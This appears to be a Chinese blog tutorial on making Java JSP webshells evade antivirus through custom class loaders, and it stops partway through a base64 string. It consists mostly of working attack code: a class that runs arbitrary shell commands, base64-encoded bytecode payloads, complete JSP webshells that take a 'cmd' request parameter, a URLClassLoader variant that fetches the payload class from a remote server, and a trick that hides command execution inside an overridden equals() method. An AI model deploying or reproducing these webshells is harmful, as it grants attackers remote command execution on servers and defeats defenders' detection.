前言
在经过java类加载器的学习,我们对webshell的免杀处理就可以更进一步。
自定义类加载器-命令执行
对于如何自定义类加载的详细过程,可参考 Java 类加载器学习 。这里就不多阐述了。
我们直接创建一个恶意类,里面的Eval
方法编写调用Runtime.getRuntime().exec
进行命令执行。
package com.atguigu.test;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
/**
* @author cseroad
*/
public class Test {
public String Demo1() {
return "hello cseroad";
}
public String Eval(String cmd) throws IOException {
StringBuilder var_str = new StringBuilder();
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
String line;
while ((line = br.readLine()) != null) {
var_str.append(line).append("\n");
}
String vars = var_str.toString();
br.close();
ins.close();
input.close();
p.getOutputStream().close();
return vars;
}
}
将该类编译为class字节码文件后base64编码,方便读取class字节码文件内容。
然后自定义一个类加载器,并重写findClass()
方法。该方法用来查找一个类,并在方法里调用defineClass()
方法将字节流实例化为对象。
public class DemoClassload extends ClassLoader {
protected Class> findClass(String name) {
String classStr = "yv66vgAAADcAZwoAGgA7CAA8BwA9CgADADsKAD4APwcAQAgAQQgAQgoAPgBDCgA1AEQHAEUIAEYKAAsARwcASAoADgBJCgAOAEoKAAMASwgATAoAAwBNCgAOAE4KAAsATgoANgBOCgA1AE8KAFAATgcAUQcAUgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHdmFyX3N0cgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAFwAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABWlucHV0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADaW5zAQAbTGphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXI7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQAEdmFycwEADVN0YWNrTWFwVGFibGUHAFMHAFQBAApFeGNlcHRpb25zBwBVAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAGwAcAQANaGVsbG8gY3Nlcm9hZAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBWDABXAFgBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMMAFkAWgwAWwBcAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBdAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBeDABfACMMAGAAYQEAAQoMAGIAIwwAYwAcDABkAGUHAGYBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAwAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAQAdAAAALQABAAEAAAADEgKwAAAAAgAeAAAABgABAAAADgAfAAAADAABAAAAAwAgACEAAAABACQAJQACAB0AAAFMAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAADAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgAB8AAABcAAkAAAB4ACAAIQAAAAAAeAAmACcAAQAIAHAAKAApAAIAIQBXACoAKwADACcAUQAsAC0ABAA0AEQALgAvAAUAPwA5ADAAMQAGAEcAMQAyACcABwBfABkAMwAnAAgANAAAACQAAv8APwAHBwAZBwAGBwADBwA1BwA2BwALBwAOAAD8ABkHAAYANwAAAAQAAQA4AAEAOQAAAAIAOg==";
byte[] bytes = Base64.getDecoder().decode(classStr);
return super.defineClass(bytes, 0, bytes.length);
}
}
创建主函数去调用该方法,并传给它类名。
public static void main(String[] args) {
TestClassLoad testClassLoad = new TestClassLoad();
Class> aClass = testClassLoad.findClass("com.atguigu.test.Test");
//Class> aClass = testClassLoad.loadClass("com.atguigu.test.Test");
System.out.println(aClass);
}
这样这个类就拿到了。然后就是反射调用Eval()
方法,传递变量值。
代码如下:
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
/**
* @author cseroad
*/
public class TestClassLoad extends ClassLoader {
protected Class> findClass(String name) {
String classStr = "yv66vgAAADcAZwoAGgA7CAA8BwA9CgADADsKAD4APwcAQAgAQQgAQgoAPgBDCgA1AEQHAEUIAEYKAAsARwcASAoADgBJCgAOAEoKAAMASwgATAoAAwBNCgAOAE4KAAsATgoANgBOCgA1AE8KAFAATgcAUQcAUgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHdmFyX3N0cgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAFwAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABWlucHV0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADaW5zAQAbTGphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXI7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQAEdmFycwEADVN0YWNrTWFwVGFibGUHAFMHAFQBAApFeGNlcHRpb25zBwBVAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAGwAcAQANaGVsbG8gY3Nlcm9hZAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBWDABXAFgBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMMAFkAWgwAWwBcAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBdAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBeDABfACMMAGAAYQEAAQoMAGIAIwwAYwAcDABkAGUHAGYBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAwAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAQAdAAAALQABAAEAAAADEgKwAAAAAgAeAAAABgABAAAADgAfAAAADAABAAAAAwAgACEAAAABACQAJQACAB0AAAFMAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAADAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgAB8AAABcAAkAAAB4ACAAIQAAAAAAeAAmACcAAQAIAHAAKAApAAIAIQBXACoAKwADACcAUQAsAC0ABAA0AEQALgAvAAUAPwA5ADAAMQAGAEcAMQAyACcABwBfABkAMwAnAAgANAAAACQAAv8APwAHBwAZBwAGBwADBwA1BwA2BwALBwAOAAD8ABkHAAYANwAAAAQAAQA4AAEAOQAAAAIAOg==";
byte[] bytes = Base64.getDecoder().decode(classStr);
return super.defineClass(bytes, 0, bytes.length);
}
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException {
TestClassLoad testClassLoad = new TestClassLoad();
Class> aClass = testClassLoad.findClass("com.atguigu.test.Test");
//Class> aClass = testClassLoad.loadClass("com.atguigu.test.Test");
System.out.println(aClass);
Object o = aClass.newInstance();
Method demo1 = aClass.getMethod("Eval",String.class);
Object invoke = demo1.invoke(o,"whoami");
System.out.println(invoke);
}
}
可以正常执行命令。再将该自定义加载类改写为jsp页面。
注:mac下java版本和windows下java版本不一致,需要在windows下javac重新编译
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%
try {
out.println(System.getProperty("os.name").toLowerCase());
String cmd = request.getParameter("cmd");
if (cmd != null) {
class DemoClassload extends ClassLoader {
protected Class> findClass(String name) {
String classStr = "yv66vgAAADQAXQoAGgAvCAAwBwAxCgADAC8KADIAMwcANAgANQgANgoAMgA3CgA4ADkHADoIADsKAAsAPAcAPQoADgA+CgAOAD8KAAMAQAgAQQoAAwBCCgAOAEMKAAsAQwoARABDCgA4AEUKAEYAQwcARwcASAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcARwcANAcAMQcASQcASgcAOgcAPQEACkV4Y2VwdGlvbnMHAEsBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAbABwBAA1oZWxsbyBjc2Vyb2FkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAEwMAE0ATgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAE8AUAcASQwAUQBSAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBTAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBUDABVACAMAFYAVwEAAQoMAFgAIAwAWQAcBwBKDABaAFsHAFwBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAwAAQAfACAAAQAdAAAAGwABAAEAAAADEgKwAAAAAQAeAAAABgABAAAADgABACEAIgACAB0AAADqAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAACAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgACMAAAAkAAL/AD8ABwcAJAcAJQcAJgcAJwcAKAcAKQcAKgAA/AAZBwAlACsAAAAEAAEALAABAC0AAAACAC4=";
byte[] bytes = Base64.getDecoder().decode(classStr);
return super.defineClass(bytes, 0, bytes.length);
}
}
DemoClassload demoClassload = new DemoClassload();
Class> aClass = demoClassload.loadClass("com.atguigu.test.Test");
Object o = aClass.newInstance();
Method demo1 = aClass.getMethod("Eval",String.class);
Object invoke = demo1.invoke(o,cmd);
String s = invoke.toString();
out.println(s);
}
} catch (Exception e) {
out.println(e);
}
%>
URLClassLoader-命令执行
java.net.URLClassLoader.class
该类加载器可以从网络上指定的位置加载类。
我们把编译好的class字节码文件放在远程服务器上,让URLClassLoader
去加载该class。
代码如下:
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%
try {
out.print(System.getProperty("os.name").toLowerCase());
String cmd = request.getParameter("cmd");
if (cmd != null) {
URL url = new URL("http://10.211.55.2:8000/");
URLClassLoader test1 = new URLClassLoader(new URL[]{url});
Class> aClass = test1.loadClass("com.atguigu.test.Test");
Object o = aClass.newInstance();
Method demo1 = aClass.getMethod("Eval",String.class);
Object invoke = demo1.invoke(o,cmd);
String s = invoke.toString();
out.println(s);
}
} catch (Exception e) {
out.println(e);
}
%>
访问也可正常执行命令。
靠近冰蝎
上面编写过程主要还是用到defineClass()
方法,那就意味着可以不写类名称来达到同样的效果。
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
/**
* @author cseroad
*/
public class DemoClassload {
public static class Myloader extends ClassLoader{
public Class get()
{
String classStr = "yv66vgAAADcAZwoAGgA7CAA8BwA9CgADADsKAD4APwcAQAgAQQgAQgoAPgBDCgA1AEQHAEUIAEYKAAsARwcASAoADgBJCgAOAEoKAAMASwgATAoAAwBNCgAOAE4KAAsATgoANgBOCgA1AE8KAFAATgcAUQcAUgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHdmFyX3N0cgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAFwAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABWlucHV0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADaW5zAQAbTGphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXI7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQAEdmFycwEADVN0YWNrTWFwVGFibGUHAFMHAFQBAApFeGNlcHRpb25zBwBVAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAGwAcAQANaGVsbG8gY3Nlcm9hZAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBWDABXAFgBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMMAFkAWgwAWwBcAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBdAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBeDABfACMMAGAAYQEAAQoMAGIAIwwAYwAcDABkAGUHAGYBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAwAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAQAdAAAALQABAAEAAAADEgKwAAAAAgAeAAAABgABAAAADgAfAAAADAABAAAAAwAgACEAAAABACQAJQACAB0AAAFMAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAADAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgAB8AAABcAAkAAAB4ACAAIQAAAAAAeAAmACcAAQAIAHAAKAApAAIAIQBXACoAKwADACcAUQAsAC0ABAA0AEQALgAvAAUAPwA5ADAAMQAGAEcAMQAyACcABwBfABkAMwAnAAgANAAAACQAAv8APwAHBwAZBwAGBwADBwA1BwA2BwALBwAOAAD8ABkHAAYANwAAAAQAAQA4AAEAOQAAAAIAOg==";
byte[] bytes = Base64.getDecoder().decode(classStr);
return super.defineClass(bytes, 0, bytes.length);
}
}
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException {
Myloader myloader = new Myloader();
Class aClass = myloader.get();
Object o = aClass.newInstance();
Method demo1 = aClass.getMethod("Eval",String.class);
Object invoke = demo1.invoke(o,"whoami");
String s = invoke.toString();
System.out.println(s);
}
}
选择自定义一个get的方法,来接收byte数组类型的参数,然后调用父类的defineClass()
方法去解析byte数据,并返回解析后的Class。
对应jsp脚本为
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%
try {
out.print(System.getProperty("os.name").toLowerCase());
String cmd = request.getParameter("cmd");
if (cmd != null) {
class Myloader extends ClassLoader {
public Class get() {
String classStr = "yv66vgAAADQAXQoAGgAvCAAwBwAxCgADAC8KADIAMwcANAgANQgANgoAMgA3CgA4ADkHADoIADsKAAsAPAcAPQoADgA+CgAOAD8KAAMAQAgAQQoAAwBCCgAOAEMKAAsAQwoARABDCgA4AEUKAEYAQwcARwcASAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcARwcANAcAMQcASQcASgcAOgcAPQEACkV4Y2VwdGlvbnMHAEsBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAbABwBAA1oZWxsbyBjc2Vyb2FkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAEwMAE0ATgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAE8AUAcASQwAUQBSAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBTAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBUDABVACAMAFYAVwEAAQoMAFgAIAwAWQAcBwBKDABaAFsHAFwBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAwAAQAfACAAAQAdAAAAGwABAAEAAAADEgKwAAAAAQAeAAAABgABAAAADgABACEAIgACAB0AAADqAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAACAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgACMAAAAkAAL/AD8ABwcAJAcAJQcAJgcAJwcAKAcAKQcAKgAA/AAZBwAlACsAAAAEAAEALAABAC0AAAACAC4=";
byte[] bytes = Base64.getDecoder().decode(classStr);
return super.defineClass(bytes, 0, bytes.length);
}
}
Myloader myloader = new Myloader();
Class aClass = myloader.get();
Object o = aClass.newInstance();
Method demo1 = aClass.getMethod("Eval", String.class);
Object invoke = demo1.invoke(o,cmd);
String s = invoke.toString();
out.println(s);
}
} catch (Exception e) {
out.println(e);
}
%>
那如果想不用反射调用指定的方法,就让它执行命令呢?
我们获取的对象object类本身就有很多方法,那我们对应把恶意类Eval(String cmd)
重命名为equals(obj)
即可。
在接收参数的时候强制转换String类型为obj。
恶意类代码如下
package com.atguigu.test;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
/**
* @author cseroad
*/
public class Test {
@Override
public boolean equals(Object obj) {
String cmd = obj.toString();
try {
this.CMD(cmd);
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
private String CMD(String cmd) throws Exception {
StringBuilder var_str = new StringBuilder();
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
String line;
while ((line = br.readLine()) != null) {
var_str.append(line).append("\n");
}
String vars = var_str.toString();
System.out.println(vars);
br.close();
ins.close();
input.close();
p.getOutputStream().close();
return vars;
}
}
恶意类加载器代码如下
package com.atguigu.test;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
/**
* @author cseroad
*/
public class DemoClassload {
public static class Myloader extends ClassLoader{
public Class get()
{
String classStr = "yv66vgAAADcAfwoAIABGCABHCgAgAEgKAB8ASQcASgoABQBLBwBMCgAHAEYKAE0ATgcATwgAUAgAUQoATQBSCgBBAFMHAFQIAFUKAA8AVgcAVwoAEgBYCgASAFkKAAcAWggAWwoABwBICQBcAF0KAF4AXwoAEgBgCgAPAGAKAEIAYAoAQQBhCgBiAGAHAGMHAGQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAF0xjb20vYXRndWlndS90ZXN0L1Rlc3Q7AQAFRGVtbzEBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlAQADQ01EAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAd2YXJfc3RyAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAFaW5wdXQBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpbnMBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAR2YXJzBwBlBwBmAQAKRXhjZXB0aW9ucwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMACEAIgEADWhlbGxvIGNzZXJvYWQMAGcAKQwAMwA0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAaAAiAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAGkMAGoAawEAEGphdmEvbGFuZy9TdHJpbmcBAAkvYmluL2Jhc2gBAAItYwwAbABtDABuAG8BABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAhAHABABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAhAHEMAHIAKQwAcwB0AQABCgcAdQwAdgB3BwB4DAB5AHoMAHsAIgwAfAB9BwB+AQAVY29tL2F0Z3VpZ3UvdGVzdC9UZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEACHRvU3RyaW5nAQAPcHJpbnRTdGFja1RyYWNlAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3